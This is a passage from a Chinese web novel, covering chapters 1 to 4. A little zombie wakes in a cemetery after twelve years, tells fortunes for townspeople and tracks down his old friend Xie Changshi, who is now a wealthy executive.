《小僵尸也想世界和平》 1、第 1 章 001. 夜晚为墓园增添了几缕压抑与恐怖的气息,风扬起落叶,吹至大门口。 几个少年背着包躲在树后伸长脖子往保安室瞧了两眼,电视机屏幕闪烁,而胖保安正双腿搭在桌上,张着嘴呼噜声四起。 为首的那个做了个手势,用气音道:“趁他睡觉,我们赶紧翻墙进去。” 前几天他们跟二班的男生打球,赌注是谁输谁到南城墓园过夜。 好巧不巧,他们就是输了球的倒霉蛋。 少年们灵活地攀爬过铁门,一路钻至墓园的西北角。 这里是一片空旷地,很适合搭建帐篷,而且位置比较偏僻,保安巡逻一般也不会过来。 “不愧是墓园,这里的温度都比外面凉快。” “确实阴森森的。” “行了,别自己吓自己,大家赶紧把带的东西收拾一下吧。” 手机、平板、充电宝、手电筒等户外露营的装备从包里拿出来,其中一个穿着黑色棒球服的男生又往包里掏了掏,在众人不可置信的目光下,掏出了一把大蒜头、上了年份的桃木剑、青面獠牙的钟馗像以及三只手掌大小的红薯。 “什么意思?” “哎呀,我们家做丧葬品生意的,平时稍微有点迷信,你们别介意哈。” “道理我都懂,红薯也是驱鬼的吗?” “那倒不是,这红薯是我奶奶今儿从乡下背来的,据说糯叽叽的特别好吃,我想烤来尝一尝。” “你怎么不顺便带个烧烤架来?” “我倒是想,拿不下。不过我带了凉拌菜,还有几罐啤酒。” “……” 叽叽咕咕的对话在寂静的夜色里响起,帐篷很快有了雏形,被嫌弃的红薯也重新被盯上。 “其实我觉得把红薯烤上也不是不行。” “会不会不太礼貌?这里好歹是墓园呢。” “到时候分它们一份嘛。” “说得好有道理。” 少年们对视,脸上都浮起了意味深长的笑容。 棒球服男生主动接管了烤红薯的工作,他接过同伴递过来的军工铲,食指中指合并举在眉心前,装模作样地闭眼在原地转一圈,确认了个绝佳的位置开始铲土。 “就这位置,保证安全。” 他挖了个土坑,又找了几块砖垒了个小塔,找树枝点火,将三个红薯扔进去,拍拍手掌,笑眯眯地道:“大功告成。” 拎着军工铲回去时同伴都纷纷笑话他:“你看着还怪专业的。” 帐篷前,露营灯散发着昏黄的光芒,少年们团团围坐,边吃便谈及学校里的趣事,偶尔响起的笑声驱散了墓园带去的压抑和恐慌。 “来打牌吧?” “行啊,我先去看看红薯烤得怎么样了。” “不用看啦,我已经给你们拿来了。” 灯光下,伸过来两只手,掌心中铺着一层宽大的树叶,树叶上方是烤得焦黑的红薯。侧边那只表皮开裂,露出了金黄的内里。风一吹,浓郁的香味沁满每个人的鼻腔。 可包括棒球服男生在内的所有少年都在一瞬间白了脸。 他们可以百分百确定这道声音不属于他们中的任何一个,也可以确定这只手不属于他们中的任何一个。 棒球服男生僵硬着身体,眼神直勾勾落在面前的同伴脸上,眼神闪烁间,就见他跟猴一样手脚利落地从地上爬起来,一把抓过桃木剑和大蒜头,扔向那道陌生嗓音的同时,大喊一声:“跑!” 霎那间,飞沙走石,只留下容镜快速闭上眼,试图阻挡扑进眼睛的灰尘。 等他再次睁开眼,所有的人影都消失得干干净净,正中脑门的大蒜头咕噜咕噜滚进怀里。 容镜:“……” 他揉揉额头,在心里嘀咕: 还怪疼的。 五分钟前,他在睡梦中闻到了烤红薯的香味,本想着忍一忍算了,但肚子实在叫得厉害,他没忍住,睁开了眼睛。 又感觉到脑门痒叽叽的,伸手一搓,一张黄色符纸飘了下来。 有些尘封在脑海深处的记忆被一道唤醒。 容镜记得那一天晚上,他忽然开始发烧,浑身滚烫像是要烧起来一样。抚养他长大的老道用粗糙的手掌摸着他的头,笑吟吟地安抚他:“阿镜,接下来你会睡一个很长很长的觉,别觉得害怕,等你睡醒了就好了。” 但他睡醒了,推开了棺材板,没有看到老道,也没有看到谢长时,只看到了棺材上方的红薯坑以及几个年纪不大的少年。 容镜也不是真的想吓唬他们,只是那烤红薯实在是太香了……谢长时以前说过,不问自取视为偷,他想吃烤红薯就得经过少年们的同意,所以他才凑过去的。 容镜叹了一口气,咬了一口没人要的红薯,又掰了块蒜,往嘴里一咬辣得他脸都皱起来了。 赶紧吃下三个红薯压味道,容镜在少年们留下的帐篷里找了找,成功找到了纸笔,在纸上留下一句:不好意思,吃了你们的烤红薯,作为赔偿,我可以为你们做一件事情,如果有需要,下周六此地见。 现在,他要去找谢长时啦。 容镜拍拍沾上泥渍和灰尘的衣服裤子,捡起了棺材里存放的龟壳和铜钱以及符纸,离开了墓园。 … 容镜在墓园里连转三圈终于找到了出口。 但站在墓园东北侧门的前,他有些迷茫地眨了眨眼睛。 谢长时在哪儿? 他该怎么找到他? 而且,他好像睡了很久,谢长时会不会已经不记得他了? 好几个问题在容镜的脑袋里撞来撞去,也没有准确答案。 他低头看了看手里的龟壳,眼睛一亮,盘腿坐在地上,将铜钱放入龟壳之内,龟首对准眉心,片刻后开始晃动龟壳。 第一卦:坤下乾上,上九爻辞,否极泰来。 也就是说,他如果坚持找谢长时,可能会有困难,但困难之后转机即来? 那如果他去找老道呢? 容镜又摇了摇龟壳。 乾上乾下,初九爻辞,潜龙勿用。 这个卦象怎么怪怪的,卦象显示时机未到便罢了,竟然还要他韬光养晦,难不成老道那边有什么问题? 容镜揉了揉有些凌乱的短发,迟疑了几秒,最终还是决定听从祖师爷的话,收起龟壳沿着路旁的指示牌,一路往山下走,打算去找谢长时。 容镜走走停停,用路边的广角镜照了照自己此刻的模样。 他虽然是只小僵尸,不过长得和人类没什么差别,两颗小尖牙也跟普通虎牙一样。 满意自己的长相不会引起恐慌,容镜加快了脚步。 他看了路上的标识牌,山下是一个叫做昌溪县的县城,到时候他可以去县城问问路。他记得自己沉睡前和谢长时住在绥县的一个筒子楼里。 按照容镜的逻辑,昌溪县和绥县大概离得不算远。毕竟谢长时和老道爷爷应该不会扛着他的棺材跋山涉水特地埋在老远的地方。 走入县城范围内,已经是早上的九点左右,县城最繁忙的街道上人流量骤减。 容镜动了动鼻尖。 好久没闻到那么香的包子味了。 以前他没钱,谢长时也没钱,但谢长时还是会禁不住他的哀求给他买包子吃。 容镜盯着包子铺看了两眼,有些遗憾地摸摸空瘪的口袋,耷拉着脑袋走到一边的台阶坐下。 他的身旁是个卖菜的奶奶,奶奶瞅了瞅他,见他唉声叹气的模样,不免有点好笑:“小伙子年纪轻轻长得又好看,怎么老叹气?” 容镜被她的‘长得又好看’说得有点脸红,往她那边挤了挤,小声问:“奶奶,这里离绥县远吗?” “绥县?好像在隔壁亭阳市,坐车得一个多小时吧。” 坐车都得一个多小时,要是靠他这两条腿,得走到什么时候。 容镜心道卦象没说错,确实困难重重。 他冲奶奶举起自己的龟壳,笑眯眯地说:“谢谢奶奶,我送你一卦吧,奶奶想问什么,我都可以告诉你答案。” 奶奶:“……” 好好一乖巧的小孩,突然变成了个坑蒙拐骗的小神棍。 老人家的表情变得有点奇怪。 迟疑了半天,问一句:“收钱不?” 容镜摇头:“不收钱,您尽管问。” 听到‘不收钱’这几个关键字,老人家倒也松了一口气,在心里将容镜的行为定义成小孩间的过家家。毕竟容镜看上去嫩得要命,也不知道成年没有。 她笑着说:“那你给我算算我儿子的事业好了。” 容镜应了一声,将铜钱塞进龟壳,摇晃,反复六次成卦。 “这是什么意思?” 说话的是隔壁包子店的老板,他本来只是出来走走放松放松,没想到竟然看到了方老太和一个小孩凑在一块,再定睛一看,那小孩的手里竟还拿着看上去格外有年份的龟壳。 作为华国人,看到龟壳和铜钱的第一反应都是算卦。 刘老板背着双手乐滋滋地看容镜有模有样的动作,见最后一枚铜钱被容镜拿回,迫不及待地询问。 容镜:“震在下,兑在上,震为雷、兑为泽,是随卦。” 刘老板一脸懵:“没听懂。” 容镜给他解释:“意思是做事情要抓住时机,顺时而动。但卜出来的爻辞为九四爻,嗯……” 容镜偏头看向老人家,问道:“您儿子最近在工作上是不是有什么苦恼?应该是个二选一的局面。” 刘老板还是懵懵的表情,但方老太的表情却蓦地变了变,连看向容镜的眼神都变得不一样了。 这两天周末,她儿子带着老婆儿子回乡下吃饭过夜,算是来陪陪她这个老家伙。都说知子莫若母,昨晚的饭桌上她能明显感觉到儿子的心不在焉,她心里担心便多问了两句。 好在她儿子也不是那种面对老母亲的询问只搪塞一句“你不懂”的人,便言辞浅显地讲了讲遇到的麻烦。 说是发现了一直带自己的领导正在做不太好的事,他不知道要不要将这事告诉别人。 虽然她儿子当时的用词仅仅只是‘不太好’,但方老太还是能从他的表情里意识到事情并没有他说的那么简单。 那不就符合了容镜所说的二选一的局面吗? 方老太一时也顾不得什么,激动地伸手抓住了容镜的手指,赶忙问:“小伙子,那该怎么解决呢?” 他冲老太太弯了弯眼睛,安抚道:“很简单,坚持原则就可以了。” 方老太闻言,一把捞起地上散落的蔬菜,说了一句“谢谢你啊小伙子”,扭头就拎着小凳子走了。那匆匆忙忙的背影和利落的步伐完全看不出已经六十多了。 刘老板目瞪口呆,但再次看向容镜时,多了几分打量和试探。 昌溪县不算大,县城里的住户们大都对彼此有几分了解。更别提方老太几乎每天都会来他的包子店边上摆摊,多聊几回也就聊熟悉了。一见到方老太面上的表情变化,刘老板心中就有种猜想—— 不会真让这小子说中了吧? 他轻咳一声,凑过去,笑眯眯地问:“小伙子,能不能也给我算算啊?” 容镜面上的笑容一点点绽放:“好呀。” 刘老板激动地搓搓手,下一秒就听见容镜又道:“一卦五百。” 刘老板:“……” 不好意思,打扰了。 2、第 2 章 002. 刘老板平时一个包子卖一块五毛钱,五百块就得卖三百三十四个包子,这还不算成本。 虽说现在早餐店挺赚钱,但他平日里就是个抠的,要他拿五百块出来算卦,跟要他的命没区别。 不过,他始终有点不死心。 刘老板挣扎了一下:“我看方老太也没给你五百啊。” 方老太儿子是大公司的员工,月薪不低,但方老太每日里早起卖菜就挣个几十块钱,足以可见老太太平时有多节省。 这样的老人家会拿出五百来算卦,刘老板不如相信葫芦藤上会结南瓜。 容镜倒是也没有瞒他,实话实说:“因为方奶奶帮了我,所以那一卦是我送她的。” 刘老板皱眉:“你指的帮你具体表现为——” 容镜接话:“她告诉我绥县在隔壁市,坐车过去要一个多小时。” 刘老板嘴角抽了抽。 这可真是朴实无华的帮忙。 “那我要是能带你去绥县,你是不是也能帮我算一卦?” 一听这话,容镜的眼睛都亮了:“您能带我去绥县?” 他身上没钱,赚又赚不到,他的一卦对于普通人来说确实不便宜,尤其现在神棍骗子层出不穷,总挂着道长的名行坑蒙拐骗之事。 所以……如果能坐顺风车就再好不过了。 容镜双眼亮晶晶,期待着刘老板的回答。 刘老板被这眼神看得心情颇好,扬了扬下巴轻哼一声:“那可不。” 他老家就是绥县的,而且时间也实在是凑巧,他今天下午本打算带着老婆孩子回绥县。因为明儿他一个侄女要结婚,他们得回去观礼、参加婚宴。 容镜是个善于把握机会的,得到肯定的回复以后,立刻眼睛弯弯:“那您带我去绥县,我给您算一卦,您想算什么?” “我有个兄弟,他最近找到了一个很不错的活,一直想拉我入伙,但我有点犹豫。小伙子,你就给我算算这伙我是入还是不入。” … 方老太回到家时,她的儿子正坐在院子的老槐树下打电话。 她有些急地在原地转了两圈,终于等到儿子挂断电话,立马就走了过去:“儿子,我有事跟你说。” “妈?您怎么跑得满头汗……” 话还没说完,就被方老太一把抓住了手臂,老太太急哄哄道:“哎呀别管这个,我跟你说,我今天上街卖菜的时候遇到了个小神仙。” 小神仙?那不就是神棍吗? 老太太的话也被打断:“妈,您还信这个呢?” “这不是我信不信,是那小神仙一说一个准,他说你在工作上遇到了二选一的难题。我心想这不就是你昨天跟我提的事吗?这事就我们几个知道,我又没往外说,结果这小神仙一算就算出来了。” 方老太的儿子闻言也皱了皱眉。 有这么巧合的事? 他很清楚他妈的性格,不像是那种嘴上没把门的老太太,否则他不会什么事都跟他妈讲。所以,就跟他妈说的一样,他现在正在愁的这件事就他们一家几口人知道,那他妈口中的小神仙是怎么知道的? 难不成真有点本事? 就在他还沉浸在疑惑中时,方老太再次开口:“那小神仙还说,叫你坚持原则。” 如果说方老太的儿子在前一秒钟还怀疑小神仙三个字的含金量,那么此时此刻,‘坚持原则’这四个字从他妈的嘴里说出来后,他的心就咯噔了一下。 表情也变得凝重起来。 他可从未跟他妈透露过他愁的这事儿跟原则有关系。 方老太的儿子感觉到自己的心跳跳得有点厉害,再联想到刚才的电话,他抿了抿唇,问他妈:“妈,你说的那个小神仙真那么说的?” “对啊。”方老太看他的表情,也紧张起来,“阿宇啊,咱做人可得坚守本心啊,害人的事情不能做!” 方宇见母亲一脸担忧的神情,心底有些酸涩,握着方老太的手臂安抚了一阵,将人劝进了屋子休息,扭头就掏出手机,循着刚才的号码拨了回去。 “张总。”方宇开口,也不等对方说话,便直言道,“您刚才提到的原材料一事,我有其他想法。” “赵总推荐的这家原材料厂子是他叔叔开的,我去过厂子,卫生条件肯定是不合格的,而且我怀疑他们可能有使用违禁物品。但后者只是我的怀疑,没有确认过。” 方宇他们公司是做食品相关的,前阵子公司合作的某家原材料厂商被查出了问题,没达到公司要求的标准,于是公司决定换合作对象。 这事归方宇他们部门管,本来方宇已经看好了几家合适的原材料工厂,但将资料送上去时都被部门老大给否决了。方宇心中觉得诧异,以为是老大要求严格,也没多想,结果没两天就被告知不必再费心思,新的合作工厂已经确定下来了。 方宇看着‘建山’二字,心底隐隐浮起疑惑。 这个工厂,怎么听都没听过? 但他还是按照规矩对工厂进行了一系列的调研,调研结果令人意外。 工厂的环境脏乱,员工年纪偏大且都没有做过体检也没有健康证,老板还是个喜欢油嘴滑舌的老流氓。 方宇越看越觉得不行,皱着眉准备去找老大告知情况时,被一脸恨铁不成钢的同事给抓了回来。 对方无语道:“你这个人怎么那么一根筋呢?你做调研的时候没发现建山的老板跟老大一个姓,长得还挺像?他俩是叔侄!” 方宇愣了愣,还没说话,同事又道:“得了,这事你就当不知道吧,你要是把老大这事搅黄了,你看他怎么针对你。” “但是——” “别但是了,老大就是干这行的,心里有数,不会吃死人的,顶多就是质量差点,而且老总那边还不一定过关呢。” 方宇心想也是。 他完全没有必要去当那个出头鸟。 只不过,每次空闲下来回想起自己站在工厂内无处下脚、掩住口鼻的模样,他的心总是跳动得很厉害。 一种名为愧疚和心虚的情绪就像麻线绳一样,将他紧紧捆绑,无法呼吸。 现在,容镜的一句‘坚持原则’就好像一把剪刀,将这混乱缠起来的线一端给剪断了,给了他喘息的机会。 他垂着眼眸,低声应和着张总的话,不知是说到了什么,脸上出现了楞怔的表情,等彻底挂断电话,几乎是劫后余生地松了一口气。 方老太见到他这幅模样,心底有几分好奇:“这是怎么了?” 方宇扶着自家母亲的手臂,另一只手摸了摸跳动得异常厉害的心脏,小声道:“张总说他今天去过工厂了。” 难怪最开始那通电话着重问他是否实地考察过,有什么想法。 这位张总是有真本事的,也是真的为了公司考虑的。恐怕在给他打电话之前早就将建山原材料工厂与部门老大的关系调查得一清二楚,然后才来试探他们部门的人呢。 “他还说我们部门只有我说了实话。”方宇越想越觉得他妈口中的那位小神仙真的神了,他呼出一口浊气,好奇地问起母亲小神仙的事。 方老太简单地叙述了一下当时的情况,当说到容镜看上去还没二十的时候,更震惊了。 “这么年轻呢?” “对啊,而且就因为我告诉他绥县在哪儿,他就免费给我算了一卦。” 老太太想得少,只说小神仙是个好人,但方宇却皱了皱眉,问路这事放在二十岁的年轻人身上总觉得有点奇怪,现在的年轻人又不像老年人不会用手机,但凡打开地图软件,就能知道绥县的具体位置。 方宇心里好奇,问了老太太小神仙的位置,便前往了刘老板的早餐店。 他到的时候,刘老板的早餐店内已经没有客人了,不算宽敞的空间内,刘老板和容镜正面对面坐着,桌上铺着几枚铜钱。 很快,一只白皙的手探出来将铜钱小心翼翼地收好,继而抬起眼眸,视线越过刘老板微胖的身躯朝着方宇看过来。 容镜眼神很好,笑着跟方宇挥挥手,主动打招呼:“你是方奶奶的儿子?” 虽然早就从自家母亲口中知晓容镜很年轻,但眼中猝然撞进这么一张脸,方宇还是愣了愣。 他妈怎么光说人家年轻,没说人家长这么好看。 方宇跟刘老板点头示意,再走到容镜的面前,有些局促:“大师,这也是您算出来的吗?” 容镜没说话,刘老板先噗嗤笑了一声:“这要算什么,小方你和你妈长得多像啊。” 容镜嗯嗯点头。 方宇表情一囧。 好、好像也是哈。 刘老板是个人精,见方宇特地跑来便能猜到他肯定有话要跟容镜说,恰好他也已经得到了自己想要的回答,便主动让出了身下的位置,笑眯眯地说:“那你们聊,我收拾一下。” 刘老板转身走进了里间,方宇轻咳一声在容镜的面前坐下,轻声问:“不知道大师如何称呼?” “你叫我容镜就可以。” 方宇点点头,喊了一声容大师,又说:“我听我母亲说您问绥县在哪,您是不是遇到什么麻烦了?” 陡然听见这么一句,容镜的眼睛都不由自主地放大了点。 方宇又不会算卦,怎么知道他遇到麻烦了? 方宇见他震惊的眼睛都睁圆了,不知道怎么的就想到了家里儿子养的小猫。 他以自己的逻辑解释了一下,容镜这才反应过来,然后默默心虚。 容镜前两分钟才从刘老板店里挂着的日历上知晓今年的年份,原来距离他入棺沉睡已经整整十二年了。十二年的时间太长,容镜对人类社会的了解已经脱轨,方宇说现下年轻人人人一个手机,根本用不到询问旁人。 容镜便想到十二年前他和谢长时住一块的时候,谢长时就没手机。 谢长时可穷了。 果然,时代不一样了。 他摸了摸鼻尖,脑瓜子转了转,唬人一套一套的:“实不相瞒,我没有手机也没钱,而且一直住在山里修身养性,不太清楚山下的情况。” 此话一出,方宇瞬间脑补了一个隐世宗门的小师弟带着师令下山历练的故事。 他想了想,问:“那需要我送您去绥县吗?” 容镜摆摆手:“不用啦,刘老板下午要去绥县,我可以搭顺风车。” “那我给您补上卦金。” 哪想容镜还是连连摆手:“说了那一卦是送给方奶奶的就不能再收钱,这是规矩。” 不过…… 他眼睛眨了眨,脸上露出了不好意思的笑容:“那个,你要是实在感谢我的话,能请我吃包子吗?我还没吃早饭,肚子有点饿。” 方宇受宠若惊,赶紧点头:“当然可以。” 直到五分钟后。 容镜在方宇和刘老板的注视下,一口气吃掉了五十个包子。 方宇:“……” 刘老板:“……” 3、第 3 章 003. 方宇战术性喝水。 他倒不是心疼钱,五十个包子听着夸张其实也就是七十五块而已。 而且相比差点丢掉的工作,实在是不值一提。 他只是单纯地惊讶容镜看上去挺清瘦一少年,竟然这么能吃。尤其是,看容镜此刻的表情,好像还有点意犹未尽。 方宇轻咳一声,试探着问:“容大师,您吃饱了吗?” 容镜冲他害羞地笑,感激地点头。 方宇默然一瞬,迟疑了一下还是说:“您别跟我客气——” 话刚落下,就见容镜更不好意思了:“……确实还差点。” 方宇:“……走,我带您去吃其他的。” 刚刚刘老板过来说,店里已经没存货了,最后一个漏了陷的青菜包也进了容镜的肚子。 方宇带着容镜去了附近的饭店,本想点几个招牌菜让容大师品尝一下昌溪县的特色。但在美味和吃饱中间,容镜显然选了后者,大手一挥点了十份分量极大的蛋炒饭,终于将空瘪的肚子给填饱了。 他心满意足地伸了个懒腰,冲方宇真心实意地说谢谢。 方宇再次受宠若惊,赶忙摆手表示不必客气。 吃过饭,方宇想将容镜送回刘老板的包子店,但后者信誓旦旦地说自己认路,方宇便没有强求。两人分别时,碍于容镜没有手机,方宇便主动留下了自己的联系方式,再三提醒:“容大师,能您买手机了记得加我微信,到时候我给您介绍生意。” 容镜将写了方宇联系方式的纸条塞进口袋,冲对方挥挥手,回到了包子店。 下午一点左右,刘老板开着他那辆四个圈的黑色轿车,载着老婆孩子以及蹭车的小僵尸前往了绥县。 一路上容镜只要一想到马上就能和谢长时见面了,心就跳得很厉害。 虽然卦象显示否极泰来,结果注定是好的,但容镜还是会担心十二年的时间太长,长到谢长时的身边已经出现了可以取代他的好朋友。 他将脸贴在窗户上,有点愁意。 … 轿车行驶了一个多小时,容镜一行终于抵达了绥县。 刘老板是绥县河水村的人,对附近几个村子以及绥县县城内的情况都挺了解。一听容镜说筒子楼,他便了然道:“那地我知道,听说那地还出了户有钱人家呢。” “有钱人家?”容镜惊讶地眨眼。 他跟着谢长时在筒子楼住了快一年。最初谢长时碍着他小僵尸的身份,没打算让他跟筒子楼内的其他住户接触。直到谢长时发现他似乎和印象中的僵尸不太一样,不会惧怕阳光,不会见人就想啃,顶多就是有时候牙齿有点痒。 于是,为了让他更好的融入人类社会,谢长时将筒子楼的大半住户信息都往他的脑子里塞。 容镜想了想,谢长时当初好像是有说到三楼那个坏脾气的老爷子家有个孙子念书特别厉害,刚毕业就被大公司预定了。 不过提起这事的时候,坏脾气的老爷爷倒是很谦虚,还说:“要说厉害还是阿时最厉害,以后肯定最有出息。” 容镜也这样觉得。 他和谢长时初见那年,谢长时十六岁,正是上高中的年纪,每次考试都能拿第一。 所以那是容镜唯一一次觉得老爷子虽然凶巴巴的,但还挺顺眼。 陷入回忆的容镜被刘老板的一句话给拉了回来:“是啊,据说现在都是大老板了,不过具体的我倒不是很清楚,我十年前就出去开早餐店了,虽然是这边的人,实际上一年到头也回来不了几次。只是……这筒子楼听说要拆迁了啊,容大师,你要找的那个人不会已经搬走了吧?” 容镜有且不确定地皱了皱眉,小声嘀咕:“应该不会吧。” 话虽如此,他的表情更愁了。 下了车,容镜本打算跟刘老板告别,但没想到刘老板想得还挺周到,从方宇口中得知容镜刚下山,身上也没个联系工具,便索性停着车等在筒子楼下。 万一容镜没能找到人,刘老板就直接带他回村子搂席去。 容镜仰头看着眼前的筒子楼,十二年过去,筒子楼的墙壁都变得无比斑驳,加上即将拆迁,住户减少,这栋建筑看上去好像越发的老旧和残破不堪。 容镜走上楼梯,灰白的墙粉落了一地,他吭哧吭哧来到八楼,循着记忆里的门牌号,走到803前,一抬头,眼睛倏地亮了起来。 803的门口看上去和十二年前好像并没有什么区别,老旧的门上贴着春联和福字,门口放着鞋柜,但柜上没有鞋子,却有一盆还碧绿的盆栽以及几个坐得端端正正的动物玩偶。 容镜拎起兔子玩偶的耳朵细细观察,还是记忆里的兔子,但这只兔子明显变旧了很多。 他有些迫不及待地敲了敲门。 嘟嘟嘟。 无人应答。 容镜不死心地继续敲。 嘟嘟嘟。 终于有脚步声传来,伴随着吧嗒一声,容镜正前方的803大门毫无动静,而一旁的801却被人从里推开,露出了一张年迈的脸来。 那张脸的主人眯起眼睛盯着容镜看了半天,忽而道:“小镜子?” … 雁城。 谢氏旗下的私立医院,vip住院部的走廊。 宋清皱着眉接听电话,当听到负责人的一句“地上多了个坑,坑里有一副被打开的棺材”时,脑门上突突突地冒起了几个硕大的问号。 他没忍住问:“你现在是在跟我开玩笑吗?” 南城墓园的负责人也一脸欲哭无泪的模样,天晓得今天早上保安巡逻到墓园的西北角看到撑开的帐篷以及一副棺材时有多惊恐。 但最惊恐的并非此刻,而是在查看了监控以后。 “真的没有跟您开玩笑,我接到保安的电话以后去调了监控,监控显示昨晚十二点左右有五个男生翻墙进了墓园,他们身上都背着包,不出意外的话,留在西北角的帐篷就是他们留下的。但两点不到,监控再次拍到他们像是被鬼追一样,跑得比兔子还快,一路窜出了墓园。” “我报了警,警察找到了那几个男生。他们所有人的口供都一致,说棺材不是他们放的,而且他们在喝酒聊天的时候,有一道不属于他们的声音插了进来……至于那声音的主人,他们因为害怕,只顾着往前跑,没人回头看。” 宋清:“……” 他揉了揉眉心,说了句知道了,便挂断了电话。 但等到转身的那一刻,心底却泛起了涟漪。 他是谢氏掌权人谢长时的特助,从他跟在谢长时身后的那一天开始,他便知道谢长时尤其关注昌溪县范围内的南城墓园以及绥县的消息。 宋清有些不明所以,只猜测或许南城墓园内埋着对谢总很重要的人。但谢总以前跟他母亲生活在绥县,谢母去世以后也埋在绥县的墓园内,所以这样的猜测又好像不符合逻辑。 直到现在……宋清的脑海中忽然冒出了一个不太理智的想法,该不会,谢总一直关注南城墓园,是提前知道那儿藏了口棺材吧? 宋清抖了抖身子,觉得自己的脑洞实在有点大,赶紧回到了病房内。 宽敞的病房中央摆着一张床,日光穿过窗帘落在床上,照亮了年轻男人的五官。谢长时一个月前突然毫无征兆地陷入昏迷,送往医院后做遍了检查,却愣是什么也没查出来的。查不出病,醒又醒不过来,便只能像此刻一样安静地躺在床上。 不过今天凌晨传来了好消息。 护士夜间查房时,注意到谢长时的手指动了动。 虽然检查结果与先前没有区别,但所有人都认为这是谢长时即将苏醒的征兆。 宋清呼出一口气,正欲弯腰替谢长时将被子往上拽一拽,却不想在低头的瞬间,猝不及防地对上了一双睁开的漆黑眼眸。 宋清一愣,惊喜还未表露,嘈杂刺耳的来电铃声便打断了他。 谢总醒了和来电之间,宋清用脚趾头想想都知道该选前者。只是,目光瞥到来电消息,他却咦了一声,手指下意识点了接通。 陌生但好听的声音传了出来:“你好,我是容镜,婆婆说联系您可以找到谢长时是吗?” 4、第 4 章 004. 容镜听婆婆说了很多。 婆婆姓贺,从十二年前就孤身一人住在筒子楼里,容镜听谢长时说过,贺婆婆的小孩都在国外定居,原本是想将婆婆一起带去的,但婆婆不愿意。 她喜欢住在筒子楼里。 容镜在筒子楼住了一年,经常搬个小凳子坐在贺婆婆边上看她打毛衣。 容镜的第一件毛衣就是贺婆婆织的,胸口有只黑白色大熊猫,特别好看。 他拿到毛衣也不嫌热,三两下套在身上就去找谢长时炫耀,结果在得知谢长时这几年的毛衣都是贺婆婆织的以后,感觉一颗心被狠狠伤到,扯开嗓子就嗷嗷哭。 容镜:“……” 回忆起这段小故事,他有点不好意思地摸了摸鼻尖。 如同以前一般,乖巧地喊了一声“婆婆”,然后直白地开口:“婆婆,我来找谢长时。” 贺婆婆看着眼前的少年,不知不觉十二年都过去了,但容镜看上去却没有太多的变化,就是长高了,五官脱去了稚气,却还是很嫩。宛若枯树皱皮的掌心轻轻抚了抚容镜的脸,迎上少年黑溜溜的眼睛,贺婆婆笑着说:“阿时好多年前就不住在这里啦。” 啊? 真的搬走了? 容镜的肩膀耷拉下来,又想到了困难重重的卦象。 这也太准了吧。 他脸上的不开心还未完全暴露出来,便听贺婆婆又笑起来:“不过他走之前跟我说,以后要是小镜子来找他,就给他打电话,他会回来接你的。” 贺婆婆还记得谢长时被一群身穿黑西装的保镖带走的那一天,本也年纪不大的少年却出乎意料的冷静,因为没有联系方式,所以特地敲响了801的门,礼貌地拜托她:“婆婆,我可能要出趟远门,暂时回不来,阿镜要是回来,您让他在家里等等我。” 然后带走了她家里的电话号码。 最开始那几年谢长时跟她联系很少,事情的转折发生在谢长时大学毕业的那一年。 他亲自回了筒子楼,带了很多礼物,又将多年不住的803重新进行修缮。 走前,他还是差不多的话:“婆婆,阿镜要是回来,您给我打电话,我会赶回来。” 贺婆婆不知道容镜去了哪里,但她知道谢长时一直在等容镜回来。 而现在,谢长时等到了。 贺婆婆将手机递给容镜,温声解释:“本来留的是阿时的电话,不过最近阿时似乎有点事,都是他助理联系我,小镜子可以给他的助理打电话。” 原来谢长时都有助理了。 容镜的手指捏着手机,按下拨通按键时,心砰砰乱跳感觉要从嗓子眼里钻出来,他悄悄深吸两口气,说出了那句:“你好,我是容镜,婆婆说联系您可以找到谢长时是吗?” 尾音落下以后,安静了很长时间,这种古怪的气氛一直维持到容镜止不住的在心底嘀咕是不是弄错了时,电话那头突然传来一道沙哑低沉的嗓音:“我是谢长时。” 容镜的眼睛猛地亮起,几乎是迫不及待地问:“我是容镜,你还记得我吗?” 记得那只共同生活了一年总喜欢撒娇耍赖的小僵尸吗? “记得。”顿了顿,又道,“你乖乖在家里等,我过来接——” 话未说完,便戛然而止。 容镜低头看手机,看到不再亮的屏幕。 贺婆婆凑过来看一眼,顿时哎呀了一声:“忘充电了!” … 通话被突然挂断,再打回去已经是关机状态,谢长时本就苍白的脸色愈发不好看。 随意掀掉身上雪白的被子,他声音冷淡地对宋清吩咐道:“让人送套衣服来,去趟绥县。” 宋清一愣一愣的,有点没反应过来:“但是您刚醒来不要做个全身检查吗?” “没必要。” 这次昏迷是怎么回事,他心知肚明。 宋清跟在谢长时身边五年,最清楚不过谢长时强势和说一不二的性格。不再提违背对方意思的意见,宋清一边往外走一边打电话,等到一切都准备妥当,他坐在黑色迈巴赫的副驾上时,心中愈发地好奇,那通电话里的人到底是谁,和他们谢总有什么关系。 毕竟,宋清还是第一次见到谢长时有这样的情绪波动。 从雁城到绥县大概需要两个小时的车程,宋清有些担心谢长时的身体,总是时不时地透过后视镜去看谢长时的脸色。 抵达绥县已经接近傍晚。 宋清逢年过节都要来一趟筒子楼给贺婆婆送一些礼品,因此对绥县的路十分熟悉。指挥着新来的司机转弯,当视线中撞入那栋楼时,宋清赶紧道:“就前面。” 迈巴赫在门口停下,后座的车门被人推开。 被黑色西裤包裹的长腿往车外一迈,落地,谢长时站在车旁,下意识抬头朝着八楼的阳台看去。 落日余晖,大片橘红色的霞光宛若颜料大片大片地铺在天边,将老旧的灰白色筒子楼都印出了几分鲜艳的颜色。而就在八楼过道的栏杆上,身材纤瘦的少年似好奇地低头望过来,一如十二年前他每次放学回家,抬头总能瞧见容镜趴在栏杆上兴奋地跟他招手。 容镜不用上学,像一只被关在家里不能出门的小猫,总是眼巴巴等着主人回家与他玩闹。 谢长时抬步往前走,而容镜却还沉浸在刚才惊鸿一瞥之中。 小僵尸的视力比起人类好了不止一倍,他能清清楚楚地看到得谢长时的五官。十二年没见,谢长时好像和记忆里有点不一样了。 这样的认知在谢长时的身影出现在八楼时,达到了顶峰。 男人穿着剪裁合宜的黑色西装,衬得人愈发修长挺拔,眉目冷峻,表情淡漠,一眼望去有种不近人情的疏离。更别提对方抬头望过来时,狭长的眼眸比昨晚没有星空的黑夜还要深冷几分。 ……和十二年前虽也清冷但总是会冲他露出无可奈何表情的少年完全不一样。 容镜就像是被迎头浇了一盆冷水,在成功联系上谢长时以后的激动和喜悦都被冷水冲得一干二净。他有些迟疑地站在原地,小僵尸自带的危险警钟在嘀嘀嘀地叫唤,令他不敢上前。 乌黑湿润的眼眸盯着谢长时,容镜在心里纠结了好久才小声问:“谢长时?” “嗯。” “真的?”容镜嘀咕,然后委婉地表达自己的疑惑,“你好像和以前不太一样。” 谢长时注视着少年。 